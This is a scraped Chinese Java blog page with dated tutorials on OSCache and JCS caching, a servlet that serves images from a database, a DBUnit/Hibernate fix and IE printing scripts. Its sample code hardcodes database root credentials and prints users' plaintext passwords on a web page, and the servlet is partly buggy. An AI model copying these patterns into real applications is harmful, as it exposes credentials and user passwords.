import java.sql.Connection;
import java.sql.DriverManager;
public class DAOUtil {
public DAOUtil() {
}
public static Connection getConn() {
Connection conn = null;
String db_url = "jdbc:mysql://127.0.0.1:3306/test?useUnicode=true&characterEncoding=gb2312";
String db_user = "root";
String db_password= "admin";
String db_driver = "com.mysql.jdbc.Driver";
try {
Class.forName(db_driver);
conn = DriverManager.getConnection(db_url, db_user, db_password);
} catch (Exception ex) {
ex.printStackTrace();
}
return conn;
}
/**
* dbclose
* 关闭Connection,Statement
* @param conn Connection
* @param stmt Statement
*/
public static void dbclose(Connection conn, Statement stmt) {
try {
if (stmt != null)
stmt.close();
} catch (Exception e) {
e.printStackTrace();
}
try {
if (conn != null)
conn.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
3.建类 PersonDAO
import java.util.*;
import java.sql.Connection;
import java.sql.Statement;
import java.sql.ResultSet;
public class PersonDAO {
static PersonDAO pdao;
public static PersonDAO getInstance() {
if (pdao == null) {
synchronized (PersonDAO.class) {
pdao = new PersonDAO();
}
}
return pdao;
}
public PersonDAO() {
super(); }
public static void main(String[] args) {
System.out.println("person==="+PersonDAO.getInstance().getPersonInfo());
}
private static List getPersonInfo() {
String name = "";
String password = "";
Connection conn = null;
List list = new java.util.ArrayList();
Statement stmt = null;
String sql =
"select name,password from person";
try {
conn = DAOUtil.getConn();
stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(sql);
while (rs.next()) {
name = (String)rs.getString("name");
password = (String)rs.getString("password");
list.add(name+","+password);
}
} catch (Exception ex) {
ex.printStackTrace();
} finally {
DAOUtil.dbclose(conn, stmt);
}
return list;
}
}
4.建testCache.jsp,testCache2.jsp
<%@page contentType="text/html; charset=GBK"%>
<%@page import="com.mcsky.dao.PersonDAO" session="false"%>
<%@page import="java.util.List" session="false"%>
<html>
<body bgcolor="#FFFFFF">
test ,hello world!!<p>
<table width="85%" border="1" align="center">
<tr>
<td width="8%" height="20"> <div align="center">序号</div></td>
<td width="12%"><div align="center">名字</div></td>
<td width="17%"><div align="center">密码 </div></td>
</tr>
<%
//todo connect mysql server (localhost root/admin) and test(db) person(table)
List list =PersonDAO.getInstance().getPersonInfo();
System.out.println("size==="+list.size());
for(int i=0;i<list.size();i++){
String namePass = (String)list.get(i);
java.util.StringTokenizer st = new java.util.StringTokenizer(namePass,",");
String name = st.nextToken();
String pass = st.nextToken();
System.out.println("namePass+++++"+namePass);
%>
<tr>
<td><div align="center"><%=i+1%></div></td>
<td> <div align="center"><%=name%></div></td>
<td><div align="center"><%=pass%></div></td>
</tr>
<%
}
%>
</table>
</body>
</html>
5.把module部署在tomcat的webapp下
5.1 在WEB-INF\lib\log4j-1.2.8.jar,mysql-connector-java-3.0.11-stable-bin.jar,oscache-2.3.2.jar,commons-logging.jar,jgroups-all.jar
5.2 在WEB-INF\classes拷贝cach\etc\下的oscache.tld,oscache.properties
5.3 只对/testCache.jsp缓存
修改WEB-INF\web.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
<display-name>test</display-name>
<taglib><taglib-uri>oscache</taglib-uri><taglib-location>/WEB-INF/classes/ oscache.tld</taglib-location></taglib>
<filter>
<filter-name>CacheFilter</filter-name>
<filter-class>com.opensymphony.oscache.web.filter.CacheFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>CacheFilter</filter-name>
<url-pattern>/testCache.jsp</url-pattern>
</filter-mapping>
</web-app>
启动tomcat,在mysql的person中增加一条记录,发现已对/testCache.jsp页面进行缓存,而/testCache2.jsp页面未缓存,如去掉黑体,则数据表增加一行,testCache.jsp也随之修改
5.4对所有的jsp缓存,
修改WEB-INF\web.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
<display-name>test</display-name>
<filter>
<filter-name>CacheFilter</filter-name>
<filter-class>com.opensymphony.oscache.web.filter.CacheFilter</filter-class>
<init-param>
<param-name>time</param-name>
<param-value>60</param-value>
</init-param>
<init-param>
<param-name>scope</param-name>
<param-value>session</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>CacheFilter
</filter-name>
<url-pattern>*.jsp</url-pattern>
</filter-mapping>
</web-app>
其中60s,是失效时间,在mysql的person中增加一条记录,发现已对/testCache.jsp,/testCache2.jsp页面进行缓存,页面不变化,60s后页面变化.
posted @
2007-03-17 09:15 选宝网an9 阅读(218) |
评论 (0) |
编辑 收藏
我想把一个基于数据库的WEB应用程序加上缓存,以提高性能,开源的java缓存系统不少,先拿JCS( Java Caching System)试试。
关于JCS的介绍,小红帽的文章已写得非常清楚了,附后。
先到http://jakarta.apache.org/jcs/Downloads.html
下载jcs-1.2.6.jar,找了半天也没有找到它的源码和API文档,不知为什么?
在这个站点有: Using JCS: Some basics for the web ,不错,就用它练习。
一、创建值对象
假设有一BOOK,它在数据库中的表为:
Table BOOK
BOOK_ID_PK
TITLE
AUTHOR
ISBN
PRICE
PUBLISH_DATE
创建值对象如下:
package com.genericbookstore.data;
import java.io.Serializable;
import java.util.Date;
public class BookVObj implements Serializable
{
public int bookId = 0;
public String title;
public String author;
public String ISBN;
public String price;
public Date publishDate;
public BookVObj()
{
}
}
二、创建缓存管理器
应用中对book数据的访问都通过缓存管理器。
package com.genericbookstore.data;
import org.apache.jcs.JCS;
// in case we want to set some special behavior
import org.apache.jcs.engine.behavior.IElementAttributes;
public class BookVObjManager
{
private static BookVObjManager instance;
private static int checkedOut = 0;
public static JCS bookCache;
private BookVObjManager()//构造函数
{
try
{
bookCache = JCS.getInstance("bookCache");
}
catch (Exception e)
{
// Handle cache region initialization failure
}
// Do other initialization that may be necessary, such as getting
// references to any data access classes we may need to populate
// value objects later
}
/**
* Singleton access point to the manager.
*/
public static BookVObjManager getInstance()
{
synchronized (BookVObjManager.class)
{
if (instance == null)
{
instance = new BookVObjManager();
}
}
synchronized (instance)
{
instance.checkedOut++;
}
return instance;
}
/**
* Retrieves a BookVObj. Default to look in the cache.
*/
public BookVObj getBookVObj(int id)
{
return getBookVObj(id, true);
}
/**
* Retrieves a BookVObj. Second argument decides whether to look
* in the cache. Returns a new value object if one can't be
* loaded from the database. Database cache synchronization is
* handled by removing cache elements upon modification.
*/
public BookVObj getBookVObj(int id, boolean fromCache)
{
BookVObj vObj = null;
// First, if requested, attempt to load from cache
if (fromCache)
{
vObj = (BookVObj) bookCache.get("BookVObj" + id);
}
// Either fromCache was false or the object was not found, so
// call loadBookVObj to create it
if (vObj == null)
{
vObj = loadBookVObj(id);
}
return vObj;
}
/**
* Creates a BookVObj based on the id of the BOOK table. Data
* access could be direct JDBC, some or mapping tool, or an EJB.
*/
public BookVObj loadBookVObj(int id)
{
BookVObj vObj = new BookVObj();
vObj.bookId = id;
try
{
boolean found = false;
// load the data and set the rest of the fields
// set found to true if it was found
found = true;
// cache the value object if found
if (found)
{
// could use the defaults like this
// bookCache.put( "BookVObj" + id, vObj );
// or specify special characteristics
// put to cache
bookCache.put("BookVObj" + id, vObj);
}
}
catch (Exception e)
{
// Handle failure putting object to cache
}
return vObj;
}
/**
* Stores BookVObj's in database. Clears old items and caches
* new.
*/
public void storeBookVObj(BookVObj vObj)
{
try
{
// since any cached data is no longer valid, we should
// remove the item from the cache if it an update.
if (vObj.bookId != 0)
{
bookCache.remove("BookVObj" + vObj.bookId);
}
// put the new object in the cache
bookCache.put("BookVObj" + vObj.bookId, vObj);
}
catch (Exception e)
{
// Handle failure removing object or putting object to cache.
}
}
}
三、配置文件cache.ccf,它定义你配置何种类型的缓存、缓存的大小、过期时间等。
#WEB-INF/classes/cache.ccf(以下内容不要换行)
jcs.default=
jcs.default.cacheattributes=org.apache.jcs.engine.CompositeCacheAttributes
jcs.default.cacheattributes.MaxObjects=1000
jcs.default.cacheattributes.MemoryCacheName=org.apache.jcs.engine.memory.lru.LRUMemoryCache
jcs.default.cacheattributes.UseMemoryShrinker=true
jcs.default.cacheattributes.MaxMemoryIdleTimeSeconds=3600
jcs.default.cacheattributes.ShrinkerIntervalSeconds=60
jcs.default.cacheattributes.MaxSpoolPerRun=500
jcs.default.elementattributes=org.apache.jcs.engine.ElementAttributes
jcs.default.elementattributes.IsEternal=false
四、测试的JSP文件
<%@page import="com.genericbookstore.data.*,java.util.*" %>
<%
BookVObjManager cache = BookVObjManager.getInstance();
BookVObj bv1=cache.getBookVObj(8,true);
out.println(bv1.bookId);
%>
五、测试:http://127.0.0.1:8080/jcs/testjcs.jsp
所有源文件请下载。
附:
JCS(Java Caching System)简介以及相关文档作者:小红帽
概述
JCS是Jakarta的项目Turbine的子项目。它是一个复合式的缓冲工具。可以将对象缓冲到内存、硬盘。具有缓冲对象时间过期设定。还可以通过JCS构建具有缓冲的分布式构架,以实现高性能的应用。
对于一些需要频繁访问而每访问一次都非常消耗资源的对象,可以临时存放在缓冲区中,这样可以提高服务的性能。而JCS正是一个很好的缓冲工具。缓冲工具对于读操作远远多于写操作的应用性能提高非常显著。
JCS的详细说明在 http://jakarta.apache.org/turbine/jcs/
JCS的特性
JCS除了简单的将对象缓冲在内存中以外,还具有几个特性,以适应企业级缓冲系统的需要。这些特性包括时间过期、索引式硬盘缓冲、并行式的分布缓冲等。
内存缓冲
JCS现在支持两种内存缓冲算法LRU和MRU。通常都是使用LRU算法。
org.apache.stratum.jcs.engine.memory.lru.LRUMemoryCache
使用内存缓冲区需要定义缓冲区大小,当超过缓冲区限制时,会将缓冲内容抛弃掉。如果有配硬盘缓冲,则将挤出来的缓冲内容写入硬盘缓冲区。
时间过期
JCS对于缓冲的对象,可以设定缓冲过期时间,一个对象在缓冲区中停留的时间超过这个时间,就会被认为是“不新鲜”而被放弃。
索引式硬盘缓冲
一方面,为了避免缓冲区过大,撑爆虚拟机的内存,另一方面又希望能够缓冲更多的对象,JCS可以将超出缓冲区大小的对象缓存到硬盘上。配置上也比较方便, 只需要指定缓冲临时文件的存放目录位置。硬盘缓冲将缓冲对象的内容写到文件上,但是将访问索引保存在内存中,因此也能够达到尽可能高的访问效率。
并行式的分布缓冲(Lateral)
通常,将对象缓冲在内存中,一方面提高了应用的性能,而另一方面却使得应用不可以分布式发布。因为假设一个应用配置在两台服务器上并行运行,而两台服务器 单独缓冲,则很容易导致两个缓冲区内容出现版本上的不一致而出错。一个机器上修改了数据,这个动作会影响到本地内存缓冲区和数据库服务器,但是却不会通知 到另一台服务器,导致另一台上缓冲的数据实际上已经无效了。
并行式的分布缓冲就是解决这个问题。可以通过配置,将几台服务器配成一个缓冲组,组内每台服务器上有数据更新,会横向将更新的内容通过TCP/IP协议传 输到其他服务器的缓冲层,这样就可以保证不会出现上述情况。这个的缺点是如果组内的并行的服务器数量增大后,组内的数据传输量将会迅速上升。这种方案适合 并行服务器的数量比较少的情况。
Client/Server式的缓冲(Remote)
客户/服务端式的缓冲集群。这种方式支持一个主服务器和最高达到256个客户端。客户端的缓冲层会尝试连接主服务器,如果连接成功,就会在主服务器上注册。每个客户端有数据更新,就会通知到主服务器,主服务器会将更新通知到除消息来源的客户端以外的所有的客户端。
每个客户端可以配置超过一个服务器,第一个服务器是主服务器,如果与第一个服务器连接失败,客户端会尝试与备用的服务器连接,如果连接成功,就会通过备用 服务器与其他客户端对话,同时会定期继续尝试与主服务器取得连接。如果备用服务器也连接失败,就会按照配置顺序尝试与下一个备用服务器连接。
这种方式下,更新通知是一种轻量级的,一个机器上的数据更新,不会把整个数据传输出去,而只是通知一个ID,当远程的其他机器收到更新通知后,就会把对应ID的缓冲对象从本地的内存缓冲区中移除,以保证不会在缓冲区内出现错误数据。
这种构造需要分别配置客户端和服务器,配置比较麻烦。
配置方法
JCS的好处之一,就是应用在开发的时候,可以不用去构思底层的缓冲配置构架。同一个应用,只需要修改配置,就可以改变缓冲构架,不需要修改应用的源代 码。配置方法也比较简单,就是修改配置文件cache.ccf。这个文件放置在WEB-INF/classes目录下。配置格式类似log4j的配置文件 格式。下面介绍一下使用各种缓冲结构的配置方法。
内存缓冲
#WEB-INF/classes/cache.ccf(以下内容不要换行)
jcs.default=
jcs.default.cacheattributes=org.apache.jcs.engine.CompositeCacheAttributes
jcs.default.cacheattributes.MaxObjects=1000
jcs.default.cacheattributes.MemoryCacheName=org.apache.jcs.engine.memory.lru.LRUMemoryCache
上面配置了默认缓冲属性。一个应用中,由于对象类型的不同,可能会使用多个缓冲区,每个缓冲区都会有一个名字,如果在配置文件中没有指明特定的缓冲区的属 性,所有的缓冲区都会根据默认属性来构建。上面的内容,指明缓冲区的大小为存放1000个对象,内存缓冲器使用LRUMemoryCache对象。可选的 还有MRUMemoryCache,应该可以自定义新的内存缓冲区。1000个缓冲对象这个容量,是指每个缓冲区都缓冲1000个,而不是指所有缓冲区总 容量。以上配置,就可以让应用运行起来。
时间过期
如果需要引入时间过期机制,则需要加上
jcs.default.cacheattributes.cacheattributes.UseMemoryShrinker=true
jcs.default.cacheattributes.cacheattributes.MaxMemoryIdleTimeSeconds=3600
jcs.default.cacheattributes.cacheattributes.ShrinkerIntervalSeconds=60
这里指明对象超过3600秒则过期,每隔60秒检查一次。
索引式硬盘缓冲
索引式硬盘缓冲是辅助缓冲的一种,使用时需要做以下事情
#定义一个硬盘缓冲区产生器(Factory),取名为DC
jcs.auxiliary.DC=org.apache.stratum.jcs.auxiliary.disk.indexed.IndexedDiskCacheFactory
jcs.auxiliary.DC.attributes=org.apache.stratum.jcs.auxiliary.disk.indexed.IndexedDiskCacheAttributes
jcs.auxiliary.DC.attributes.DiskPath=g:/dev/jakarta-turbine-stratum/raf
#这里其实就是指明了缓冲文件存放到那里去。
然后,做以下修改
jcs.default=DC
这样,所有未特别指定属性的缓冲区都会自己使用一个硬盘缓冲区,缓冲文件会以缓冲区的名字来命名。存放在指定的目录下。
横向式的并行缓冲
并行式的配置如下
jcs.auxiliary.LTCP=org.apache.jcs.auxiliary.lateral.LateralCacheFactory
jcs.auxiliary.LTCP.attributes=org.apache.jcs.auxiliary.lateral.LateralCacheAttributes
jcs.auxiliary.LTCP.attributes.TransmissionTypeName=TCP
jcs.auxiliary.LTCP.attributes.TcpServers=192.168.10.129:1121,192.168.10.222:1121
jcs.auxiliary.LTCP.attributes.TcpListenerPort=1121
jcs.auxiliary.LTCP.attributes.PutOnlyMode=false
这里的配置是在41,129,221三台机器上实现并行缓冲的。
大家都在1121端口上监听,同时与另外两台机器连接。如果连接失败,就会等待一个时间后再连接一次,直到连接成功为止。三台机器中任意一台的缓冲区发生更新,比如put和remove动作,就会把更新传递给另外两台。
单独指明某个缓冲区的属性
如果,针对某个缓冲区,比如叫做TestCache1,需要单独配置属性,可以如下配置。
jcs.region.testCache1=DC,LTCP
jcs.region.testCache1.cacheattributes=org.apache.stratum.jcs.engine.CompositeCacheAttributes
jcs.region.testCache1.cacheattributes.MaxObjects=1000
jcs.region.testCache1.cacheattributes.MemoryCacheName=org.apache.stratum.jcs.engine.memory.lru.LRUMemoryCache
jcs.region.testCache1.cacheattributes.UseMemoryShrinker=true
jcs.region.testCache1.cacheattributes.MaxMemoryIdleTimeSeconds=3600
jcs.region.testCache1.cacheattributes.ShrinkerIntervalSeconds=60
system.GroupIdCache
这个概念我也不是很清楚。不过JCS文档中指出配置以下内容会比较好。
jcs.system.groupIdCache=DC
jcs.system.groupIdCache.cacheattributes=org.apache.stratum.jcs.engine.CompositeCacheAttributes
jcs.system.groupIdCache.cacheattributes.MaxObjects=10000
jcs.system.groupIdCache.cacheattributes.MemoryCacheName=org.apache.stratum.jcs.engine.memory.lru.LRUMemoryCache
这可能是JCS自己的组管理体系上的缓冲区。
Client/Server式的缓冲(Remote)
这种构架需要单独配置客户端和服务端,如果要研究,可以查看 http://jakarta.apache.org/turbine/jcs/RemoteAuxCache.html
posted @
2007-03-17 09:14 选宝网an9 阅读(288) |
评论 (0) |
编辑 收藏
摘要:
阅读全文
posted @
2007-03-02 11:06 选宝网an9 阅读(412) |
评论 (0) |
编辑 收藏
从
数据库中读出图片并显示的示例代码
< !-- -- -- --
Servlet-- -- -- -- -->
package Photo;
import
Javax.servlet.*;
import
javax.servlet.http.*;
import
java.io.*;
import
java.util.*;
import
java.lang.*;
import
java.sql.*;
/**
* <p>Title: </p>
* <p>Description: </p>
* <p>Copyright: Copyright (c) 2002</p>
* <p>Company: </p>
* @author unascribed
* @version 1.0
*/
public class ShowImage extends HttpServlet {
private static final String CONTENT_TYPE = "image/*";
/**
* 定义数据库连接字符串,JDBC.odbc桥
*/
private String driver_class = "Oracle.jdbc.driver.OracleDriver";
private String connect_string =
"jdbc:oracle:thin:xxw/xxw@192.168.1.50:1521:ORCL";
Connection conn = null;
ResultSet rs = null;
Statement stmt = null;
/********************************************
* 定义应用变量
******************************************/
private String SQLString = ""; //定义查询语句\\r
public String M_EorrMenage = ""; //定义错误信息变量
private InputStream in = null; //定义输入流\\r
private int len = 10 * 1024 * 1024; //定义字符数组长度
//Initialize global variables
public void init() throws ServletException {
/**
* 连接数据库\\r
*/
try {
Class.forName(driver_class);
} catch (java.lang.ClassNotFoundException e) {
//异常
System.err.println("databean():" + e.getMessage());
}
}
//Process the HTTP Get request
public void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType(CONTENT_TYPE);
PrintWriter out = response.getWriter();
//在数据库中的照片的ID
int PHOTOID = 0;
/*********************************************
* 接受上文传递的图片ID号
* 上文传输文件名称为photoid
*********************************************/
try {
PHOTOID = Integer.parseInt(request.getParameter("photoid"));
SQLString = "select * from xxw_photo where p_id=" + PHOTOID;
} catch (Exception e) {
e.printStackTrace();
response.setContentType("text/html; charset=gb2312");
M_EorrMenage = "请输入图片ID号";
M_EorrMenage =
new String(M_EorrMenage.getBytes("ISO8859_1"), "GBK");
out.println("<%@ page contentType=\'text/html; charset=gb2312\' %>");
out.println("<html>");
out.println("<head><title>id</title></head>");
out.println("<body>");
out.println("<p>" + M_EorrMenage + "</p>");
out.println("</body></html>");
}
/*****************************************************
* 执行查询语句\\r
*****************************************************/
try {
conn = DriverManager.getConnection(connect_string);
stmt = conn.createStatement();
rs = stmt.executeQuery(SQLString);
} //try
catch (SQLException ex) {
System.err.println("aq.executeUpdate:" + ex.getMessage());
M_EorrMenage = "对不起,数据库无法完成此操作!";
M_EorrMenage =
new String(M_EorrMenage.getBytes("ISO8859_1"), "GBK");
response.setContentType("text/html; charset=gb2312");
out.println("<html>");
out.println("<head><title>no_database</title></head>");
out.println("<body>");
out.println("<p>" + M_EorrMenage + "</p>");
out.println("</body></html>");
}
/*********************************************
* 将图片流读入字符数组中,并显示到客户端
********************************************/
try {
if (rs.next()) {
in = rs.getBinaryStream("photo");
response.reset(); //返回在流中被标记过的位置
response.setContentType("image/jpg"); //或gif等
// int len=in.available();//得到文件大小
OutputStream toClient = response.getOutputStream();
byte[] P_Buf = new byte[len];
int i;
while ((i = in.read(P_Buf)) != -1) {
toClient.write(P_Buf, 0, i);
}
in.close();
toClient.flush(); //强制清出缓冲区\\r
toClient.close();
} else {
M_EorrMenage = "无此图片!";
M_EorrMenage =
new String(M_EorrMenage.getBytes("ISO8859_1"), "GBK");
response.setContentType("text/html; charset=gb2312");
out.println("<html>");
out.println(
"<head><title>this photo isn\'t have</title></head>");
out.println("<body>");
out.println("<p>" + M_EorrMenage + "</p>");
out.println("</body></html>");
}
rs.close();
} catch (Exception e) {
e.printStackTrace();
M_EorrMenage = "无法读取图片!";
M_EorrMenage =
new String(M_EorrMenage.getBytes("ISO8859_1"), "GBK");
response.setContentType("text/html; charset=gb2312");
out.println("<%@ page contentType=\'text/html; charset=gb2312\' %>");
out.println("<html>");
out.println("<head><title>no photo</title></head>");
out.println("<body>");
out.println("<p>" + M_EorrMenage + "</p>");
out.println("</body></html>");
}
}
//Clean up resources
public void destroy() {
try {
conn.close();
} catch (SQLException e) {
System.err.println("aq.executeUpdate:" + e.getMessage());
M_EorrMenage = "对不起,数据库无法完成此操作!";
}
}
}
<!---------------------------显示---------------------------------------------->
<html>
<head>
<title>Untitled Document</title>
</head>
<body bgcolor="#FFFFFF" text="#000000">
<table>
<%
int i=1;
while(i<3){
%>
<tr>
<td colspan="3"> <img border="1" src="http://192.168.1.50:8100/ShowImage?photoid=<%=i%>"></td>
</tr>
<%
i++;
}
%>
</table>
</body>
</html>
posted @
2006-11-21 19:54 选宝网an9 阅读(618) |
评论 (0) |
编辑 收藏
(转载)这个是DBunit的问题,1.8以上的版本才有这个问题!
只要修改User.java
/**
* @return Returns the enabled.
* @hibernate.property column="enabled"
*/
public Boolean getEnabled() {
// isEnabled doesnt' work for copying properties to Struts ActionForms
return enabled;
}
修改成
/**
* @return Returns the enabled.
* @hibernate.property column="enabled"
type="yes_no" */
public Boolean getEnabled() {
// isEnabled doesnt' work for copying properties to Struts ActionForms
return enabled;
}
就加了这一点,就可以了,
其实 type="yes_no" hibernate会映射成CHAR(1) , 而type="boolean" 它会映射成BIT , 估计dbunit在插入sample-data.xml的时候会出错。
posted @
2006-10-26 14:15 选宝网an9 阅读(333) |
评论 (0) |
编辑 收藏
解决此问题,应该这样写:
window.location.href=window.location.href;
window.location.reload;
同理,如果是刷新父窗口,应该这样写:
window.opener.location.href=window.opener.location.href;
window.location.reload;
这种写法就不出现那讨厌的对话框啦!
posted @
2006-10-23 13:43 选宝网an9 阅读(270) |
评论 (0) |
编辑 收藏
<script defer>
function SetPrintSettings() {
// -- advanced features
factory.printing.SetMarginMeasure(2) // measure margins in inches
factory.SetPageRange(false, 1, 3) // need pages from 1 to 3
factory.printing.printer = "HP DeskJet 870C"
factory.printing.copies = 2
factory.printing.collate = true
factory.printing.paperSize = "A4"
factory.printing.paperSource = "Manual feed"
// -- basic features
factory.printing.header = "This is MeadCo"
factory.printing.footer = "Advanced Printing by ScriptX"
factory.printing.portrait = false
factory.printing.leftMargin = 1.0
factory.printing.topMargin = 1.0
factory.printing.rightMargin = 1.0
factory.printing.bottomMargin = 1.0
}
</script>
<script language="javascript">
function printsetup(){
// 打印页面设置
wb.execwb(8,1);
}
function printpreview(){
// 打印页面预览
document.getElementById('button1').style.display='none';
document.getElementById('button2').style.display='none';
document.getElementById('button3').style.display='none';
document.getElementById('button4').style.display='none';
wb.execwb(7,1);
location.reload();
}
function printit()
{
if (confirm('确定打印吗?')) {
wb.execwb(6,6)
}
}
</script>
</head>
<body>
<OBJECT classid="CLSID:8856F961-340A-11D0-A96B-00C04FD705A2" height=0 id=wb name=wb width=0></OBJECT>
<input type=button name=button_print value="打印" onclick="printit()" id="button1">
<input type=button name=button_setup value="打印页面设置" onclick="printsetup();" id="button2">
<input type=button name=button_show value="打印预览" onclick="printpreview();" id="button3">
<input type=button name=button_fh value="关闭" onclick="javascript:window.close();" id="button4">
<TABLE width="90%" cellspacing="0" bordercolordark="#CEDAE7" cellpadding="1" align="center" bordercolorlight="#155BBD" border="1">
<TBODY>
<THEAD style="display:table-header-group;font-weight:bold">
<TR>
<TD width=73 rowspan="2" align="center">
专家姓名
</TD>
<TD height="31" colspan="4" align="center">
次数
</TD>
</TR>
<TR onMouseOver="this.bgColor='#94C0F1'" style="CURSOR: hand" height=25 onMouseOut="this.bgColor='#CEE5FF'" bgColor=#f2fff4>
<TD width="147" height=25 bgcolor="#94C0F1" align="center">
正常参加
</TD>
<TD width="108" height=25 bgcolor="#94C0F1" align="center">
拒绝参加
</TD>
<TD width="124" height=25 bgcolor="#94C0F1" align="center">
未通知
</TD>
<TD width="88" height=25 bgcolor="#94C0F1" align="center">
总数
</TD>
</TR>
</THEAD>
<!-- 所有专家 -->
<TR onMouseOver="this.bgColor='#94C0F1'" style="CURSOR: hand" height=22 onclick="location='expertInfo.do?exp_id=EP00000002';" onMouseOut="this.bgColor='#CEE5FF'" bgColor=#DAE5F9>
<TD>
<DIV align=center>
fds
</DIV>
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
<TD align=center>
0
</TD>
<TD align=center>
0
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
</TR>
<TR onMouseOver="this.bgColor='#94C0F1'" style="CURSOR: hand" height=22 onclick="location='expertInfo.do?exp_id=EP00000020';" onMouseOut="this.bgColor='#FfffFF'" bgColor=#ffffff>
<TD>
<DIV align=center>
fsdfs
</DIV>
</TD>
<TD align=center>
0
</TD>
<TD align=center>
0
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
</TR>
<TR onMouseOver="this.bgColor='#94C0F1'" style="CURSOR: hand" height=22 onclick="location='expertInfo.do?exp_id=EP00000022';" onMouseOut="this.bgColor='#CEE5FF'" bgColor=#DAE5F9>
<TD>
<DIV align=center>
ggafds
</DIV>
</TD>
<TD align=center>
0
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
<TD align=center>
0
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
</TR>
<TR onMouseOver="this.bgColor='#94C0F1'" style="CURSOR: hand" height=22 onclick="location='expertInfo.do?exp_id=EP00000029';" onMouseOut="this.bgColor='#FfffFF'" bgColor=#ffffff>
<TD>
<DIV align=center>
王五
</DIV>
</TD>
<TD align=center>
0
</TD>
<TD align=center>
0
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
</TR>
<TR onMouseOver="this.bgColor='#94C0F1'" style="CURSOR: hand" height=22 onclick="location='expertInfo.do?exp_id=EP00000050';" onMouseOut="this.bgColor='#CEE5FF'" bgColor=#DAE5F9>
<TD>
<DIV align=center>
余敏
</DIV>
</TD>
<TD align=center>
0
</TD>
<TD align=center>
0
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
</TR>
<TR onMouseOver="this.bgColor='#94C0F1'" style="CURSOR: hand" height=22 onclick="location='expertInfo.do?exp_id=EP00000061';" onMouseOut="this.bgColor='#FfffFF'" bgColor=#ffffff>
<TD>
<DIV align=center>
江泽民
</DIV>
</TD>
<TD align=center>
0
</TD>
<TD align=center>
0
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
</TR>
<TR onMouseOver="this.bgColor='#94C0F1'" style="CURSOR: hand" height=22 onclick="location='expertInfo.do?exp_id=EP00000064';" onMouseOut="this.bgColor='#CEE5FF'" bgColor=#DAE5F9>
<TD>
<DIV align=center>
袁平1
</DIV>
</TD>
<TD align=center>
0
</TD>
<TD align=center>
0
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
</TR>
<TR onMouseOver="this.bgColor='#94C0F1'" style="CURSOR: hand" height=22 onclick="location='expertInfo.do?exp_id=EP00000093';" onMouseOut="this.bgColor='#FfffFF'" bgColor=#ffffff>
<TD>
<DIV align=center>
zzz
</DIV>
</TD>
<TD align=center>
0
</TD>
<TD align=center>
0
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
</TR>
<TR onMouseOver="this.bgColor='#94C0F1'" style="CURSOR: hand" height=22 onclick="location='expertInfo.do?exp_id=EP00000112';" onMouseOut="this.bgColor='#CEE5FF'" bgColor=#DAE5F9>
<TD>
<DIV align=center>
冶金专家1
</DIV>
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
<TD align=center>
0
</TD>
<TD align=center>
0
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
</TR>
<TR onMouseOver="this.bgColor='#94C0F1'" style="CURSOR: hand" height=22 onclick="location='expertInfo.do?exp_id=EP00000113';" onMouseOut="this.bgColor='#FfffFF'" bgColor=#ffffff>
<TD>
<DIV align=center>
冶金专家2
</DIV>
</TD>
<TD align=center>
0
</TD>
<TD align=center>
0
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
</TR>
<TR onMouseOver="this.bgColor='#94C0F1'" style="CURSOR: hand" height=22 onclick="location='expertInfo.do?exp_id=EP00000002';" onMouseOut="this.bgColor='#CEE5FF'" bgColor=#DAE5F9>
<TD>
<DIV align=center>
fds
</DIV>
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
<TD align=center>
0
</TD>
<TD align=center>
0
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
</TR>
<TR onMouseOver="this.bgColor='#94C0F1'" style="CURSOR: hand" height=22 onclick="location='expertInfo.do?exp_id=EP00000002';" onMouseOut="this.bgColor='#CEE5FF'" bgColor=#DAE5F9>
<TD>
<DIV align=center>
fds
</DIV>
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
<TD align=center>
0
</TD>
<TD align=center>
0
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
</TR>
<TR onMouseOver="this.bgColor='#94C0F1'" style="CURSOR: hand" height=22 onclick="location='expertInfo.do?exp_id=EP00000002';" onMouseOut="this.bgColor='#CEE5FF'" bgColor=#DAE5F9>
<TD>
<DIV align=center>
fds
</DIV>
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
<TD align=center>
0
</TD>
<TD align=center>
0
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
</TR>
<TR onMouseOver="this.bgColor='#94C0F1'" style="CURSOR: hand" height=22 onclick="location='expertInfo.do?exp_id=EP00000002';" onMouseOut="this.bgColor='#CEE5FF'" bgColor=#DAE5F9>
<TD>
<DIV align=center>
fds
</DIV>
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
<TD align=center>
0
</TD>
<TD align=center>
0
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
</TR>
